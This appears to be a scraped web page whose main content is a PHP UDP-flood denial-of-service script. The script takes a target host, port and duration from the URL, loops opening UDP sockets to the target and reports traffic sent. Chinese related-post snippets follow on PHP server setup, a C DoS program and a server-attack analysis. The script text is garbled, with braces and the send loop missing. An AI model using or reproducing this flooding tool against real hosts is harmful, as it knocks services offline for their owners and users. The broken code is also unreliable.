set_time_limit(999999);
$host = $_get['host'];
$port = $_get['port'];
$exec_time = $_get['time'];
$sendlen = 65535;
$packets = 0;
ignore_user_abort(true);
if (strlen($host)==0 or strlen($port)==0 or strlen($exec_time)==0)
echo "warning to: opening";
exit;
}for($i=0;$i<$sendlen;$i++)
$max_time = time()+$exec_time;
while(1)
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp)
} echo "send host:$host:$port
";echo "send flow:$packets * ($sendlen/1024=" . round($sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$sendlen/1024/1024, 2) . " mb
";echo "send rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$sendlen/1024/1024, 2) . " mb/s";
伺服器上部署PHP執行環境
使用的是xshell6這款軟體連線 使用ssh協議連線,較安全 連線成功後,安裝寶塔控制面板,在控制面板中輸入 其實相當在執行linux指令 yum install y wget wget o install.sh sh install.sh安裝寶塔控制面板完成後,會給你乙個 還有登入的使用者名稱以...
dos 伺服器攻擊程式
dos.c created on jun 10,2014 author lexus include include include include include include include include include include include define localport 118...
伺服器被攻擊分析
伺服器一直在裸奔,三年多來也一直沒有啥問題,直到最近發現訪問非常緩慢,一開始我們也沒有在意,因為所處的機房,近些日子線路問題不斷,以為是線路問題,直到被機房通知伺服器被攻擊了,由於已經影響到了其他機子,把我們限流了。突然間感覺就是兩眼發蒙,總結問題如下 機房遠在香港,無法立即到機房處理問題。機房也沒...